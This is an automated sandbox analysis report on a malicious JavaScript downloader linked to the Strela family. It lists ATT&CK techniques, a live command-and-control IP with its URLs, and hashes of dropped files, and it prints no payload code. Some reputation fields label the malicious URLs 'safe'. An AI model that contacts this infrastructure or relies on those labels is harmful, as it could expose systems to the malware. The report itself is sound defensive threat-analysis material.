Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
270782763316448754.js	3%	Virustotal		Browse
270782763316448754.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/sceW	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/N	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/J	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/J	net.exe, 00000007.00000002.2088680447.000001D2CDBBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2088281692.000001D2CDBBC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.3321671046.000002269E400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2092287431.000002269E350000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/sceW	net.exe, 00000007.00000002.2088614646.000001D2CDB88000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2088680447.000001D2CDBBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2088237445.000001D2CDBDA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2088281692.000001D2CDBBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2088614646.000001D2CDB88000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/N	net.exe, 00000007.00000002.2088680447.000001D2CDBBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2088281692.000001D2CDBBC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587763
Start date and time:	2025-01-10 17:47:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	270782763316448754.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 34.237.241.83, 18.213.11.84, 50.16.47.176, 54.224.241.105, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 96.17.64.171, 4.245.163.56, 13.107.253.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:48:31	API Interceptor	19x Sleep call for process: powershell.exe modified
11:48:35	API Interceptor	1x Sleep call for process: net.exe modified
11:48:35	API Interceptor	2x Sleep call for process: svchost.exe modified
11:48:42	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	VsTfsPVrfA.exe	Get hash	malicious	FormBook	Browse	199.232.214.172
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	124651728043662978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	199708044356824138.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307066995678264
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDuge:gJjJGtpTq2yv1AuNZRY3diu8iBVqFA
MD5:	61E02E640E08A4F3469B9A18E1270762
SHA1:	3F37E0E9F431A50C357B2010E3BD0E4D8FCEADC5
SHA-256:	0159AA40FF0954D827AA82B1F927945A9CFC116A569512EAA3E8D8E4294DDBE9
SHA-512:	3C61ED515073E93349D3EACFF22234D4E7DE038EE4AB3163F1BFA06E6E5ED95157094E32AC81A104493B619EE8C97311AF20BD7E9D1F587D1D0902171120A116
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7e38c249, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585625193123369
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Zaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	E05E50B23B1B9B97C1BBB202FDD7AC6D
SHA1:	E3B213AE311162D74A3612B915122991D7ADB0E2
SHA-256:	E5E6217A8759F8A7EB9055B73EA826AB0807CD627404060B3B448DB52EA0CC28
SHA-512:	DE7986AC04D782E0A1D0A20DD311126A672E3249F5BE6B2A524D4C5F0B39314D8778496A6868599E9FC38026DBDF4A137DDE2FD00639BDE7417DC4500D99BB16
Malicious:	false
Preview:	~8.I... ...............X\...;...{......................0.z..........{..$0...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................\|..$0...}..................V...$0...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0811147906034336
Encrypted:	false
SSDEEP:	3:/3mlXKYe2fvMtAkGuAJkhvekl1j91vkYqDlAllrekGltll/SPj:vmlXKzmvErxln1v4lAJe3l
MD5:	F155EF0A832581B633C9237A330703F7
SHA1:	0F5604600B3749C2791C3DFA8E1C8E7FAEF7F76E
SHA-256:	0724A54C9E66764006E7A67AB966DFB9C58CE17EE7BA16D1B7B907D022BCBA7B
SHA-512:	350785261C93F745D54FB8CC6B114A81CB37D0575D7502959C3C22DD417826294D193879829785EA75E63684F87F60188F097E140F616B98EA0F1D650EC7A61F
Malicious:	false
Preview:	.w......................................;...{..$0...}.......{...............{.......{...XL......{..................V...$0...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.216970499660496
Encrypted:	false
SSDEEP:	6:iO46bPFyOq2P92nKuAl9OmbnIFUtS6bBFwJZmws6bBFwDkwO92nKuAl9OmbjLJ:7T1v4HAahFUtZwJ/zwD5LHAaSJ
MD5:	01BFD69D62EEB85B82B8EA233E4BFCBE
SHA1:	E089D4512EBDA90717B59FA615AF0DCFADBEA3BF
SHA-256:	B92DE3E9C798C5CD20B639FF3AB409FD990006AEB20947A95FCD24178769DDAA
SHA-512:	C354D98A82035A0294B09BEB7019038EB163AD4AD96202BCF065114678899F284743036300806DB22A08446795EA638149DE73A2A5716751CC369E1827E968AE
Malicious:	false
Preview:	2025/01/10-11:48:35.266 d14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:48:35.268 d14 Recovering log #3.2025/01/10-11:48:35.268 d14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.216970499660496
Encrypted:	false
SSDEEP:	6:iO46bPFyOq2P92nKuAl9OmbnIFUtS6bBFwJZmws6bBFwDkwO92nKuAl9OmbjLJ:7T1v4HAahFUtZwJ/zwD5LHAaSJ
MD5:	01BFD69D62EEB85B82B8EA233E4BFCBE
SHA1:	E089D4512EBDA90717B59FA615AF0DCFADBEA3BF
SHA-256:	B92DE3E9C798C5CD20B639FF3AB409FD990006AEB20947A95FCD24178769DDAA
SHA-512:	C354D98A82035A0294B09BEB7019038EB163AD4AD96202BCF065114678899F284743036300806DB22A08446795EA638149DE73A2A5716751CC369E1827E968AE
Malicious:	false
Preview:	2025/01/10-11:48:35.266 d14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:48:35.268 d14 Recovering log #3.2025/01/10-11:48:35.268 d14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.208040435299889
Encrypted:	false
SSDEEP:	6:iO46bIq2P92nKuAl9Ombzo2jMGIFUtS6boZZmws6bpkwO92nKuAl9Ombzo2jMmLJ:7Mv4HAa8uFUtGZ/p5LHAa8RJ
MD5:	73D761B758AF5367424302A888E114EC
SHA1:	341CD82B573423256E7938CD80F699162923E39E
SHA-256:	657440225CD60F0B4AF89592883881B18CE46E288AD7F5995BB56DC4F3838963
SHA-512:	CC51E999DFFEE561A1754A912E7A2130B136898398A267B2502793D529CA429E424C8826321F3FF251809DA50C0B743CB02C8330CF4927A6FA6D4922A6CD4C93
Malicious:	false
Preview:	2025/01/10-11:48:35.426 6b4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:48:35.427 6b4 Recovering log #3.2025/01/10-11:48:35.428 6b4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.208040435299889
Encrypted:	false
SSDEEP:	6:iO46bIq2P92nKuAl9Ombzo2jMGIFUtS6boZZmws6bpkwO92nKuAl9Ombzo2jMmLJ:7Mv4HAa8uFUtGZ/p5LHAa8RJ
MD5:	73D761B758AF5367424302A888E114EC
SHA1:	341CD82B573423256E7938CD80F699162923E39E
SHA-256:	657440225CD60F0B4AF89592883881B18CE46E288AD7F5995BB56DC4F3838963
SHA-512:	CC51E999DFFEE561A1754A912E7A2130B136898398A267B2502793D529CA429E424C8826321F3FF251809DA50C0B743CB02C8330CF4927A6FA6D4922A6CD4C93
Malicious:	false
Preview:	2025/01/10-11:48:35.426 6b4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:48:35.427 6b4 Recovering log #3.2025/01/10-11:48:35.428 6b4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8ec4a3d2-05b6-4c03-8826-8705e674f56e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.062453653618637
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqasBdOg2Hdcaq3QYiubxnP7E4T3OF+:Y2sRdsudMHs3QYhbxP7nbI+
MD5:	08013D8F55C4374B2CE32858703136B7
SHA1:	996ADD7981078E4090B51AF80DA642C6578BFC1A
SHA-256:	9D16D67E8D14FD2B98BAF600B9B71C29E1BF24A67017D58BB13F866E37EDE049
SHA-512:	9BF4818B5CAD5698954F2D5279B07D739B8C4435D81AA5EBC9A4FB2B940936201F9F7AE155B15ED83C9A8F239AF22B4EB23594F5B57CACF757E2FE1ADEECBA41
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381087726767820","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":142570},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.062453653618637
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqasBdOg2Hdcaq3QYiubxnP7E4T3OF+:Y2sRdsudMHs3QYhbxP7nbI+
MD5:	08013D8F55C4374B2CE32858703136B7
SHA1:	996ADD7981078E4090B51AF80DA642C6578BFC1A
SHA-256:	9D16D67E8D14FD2B98BAF600B9B71C29E1BF24A67017D58BB13F866E37EDE049
SHA-512:	9BF4818B5CAD5698954F2D5279B07D739B8C4435D81AA5EBC9A4FB2B940936201F9F7AE155B15ED83C9A8F239AF22B4EB23594F5B57CACF757E2FE1ADEECBA41
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381087726767820","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":142570},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234793924989587
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUfbM+mU:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL0
MD5:	4213FE321DE095B7063E19A0772399CA
SHA1:	99F77B1A83156088A185E330D785431EDD2A84B9
SHA-256:	225D5DCB5BB8803B2E63450320BAE8D893A34C2688F3C5A7526279F6B606804A
SHA-512:	F7071BEF686DCA9321E28DCDA29A06B0951AC64686D200A414904B201B01F1EFCC7E1F8DAFB39B3FA3D9C181AEE836022623C14D0C9A8365C0AEF211A8B8D9F0
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.199232119889951
Encrypted:	false
SSDEEP:	6:iO46b7/Oq2P92nKuAl9OmbzNMxIFUtS6bURZmws6bULkwO92nKuAl9OmbzNMFLJ:7Wv4HAa8jFUtO/M5LHAa84J
MD5:	385F7A643CCBFDC8F0BD13CD6839F583
SHA1:	8A0D8EA042FB770C56A257385990D5CD22D95D6B
SHA-256:	A3B6C375BBDF2BAAEEADB40BC6CA3C59C64A9C0E539F8AD57292DC470483320D
SHA-512:	1774396CC7E46F30E703F071084573BE3388017FF6A1373790454FC23649A23D62A80BDD1AF51F248C58CBD3C4DDC6C1BE23EFB7FE714BBB471D61A048BDE198
Malicious:	false
Preview:	2025/01/10-11:48:35.613 6b4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:48:35.614 6b4 Recovering log #3.2025/01/10-11:48:35.614 6b4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.199232119889951
Encrypted:	false
SSDEEP:	6:iO46b7/Oq2P92nKuAl9OmbzNMxIFUtS6bURZmws6bULkwO92nKuAl9OmbzNMFLJ:7Wv4HAa8jFUtO/M5LHAa84J
MD5:	385F7A643CCBFDC8F0BD13CD6839F583
SHA1:	8A0D8EA042FB770C56A257385990D5CD22D95D6B
SHA-256:	A3B6C375BBDF2BAAEEADB40BC6CA3C59C64A9C0E539F8AD57292DC470483320D
SHA-512:	1774396CC7E46F30E703F071084573BE3388017FF6A1373790454FC23649A23D62A80BDD1AF51F248C58CBD3C4DDC6C1BE23EFB7FE714BBB471D61A048BDE198
Malicious:	false
Preview:	2025/01/10-11:48:35.613 6b4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:48:35.614 6b4 Recovering log #3.2025/01/10-11:48:35.614 6b4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
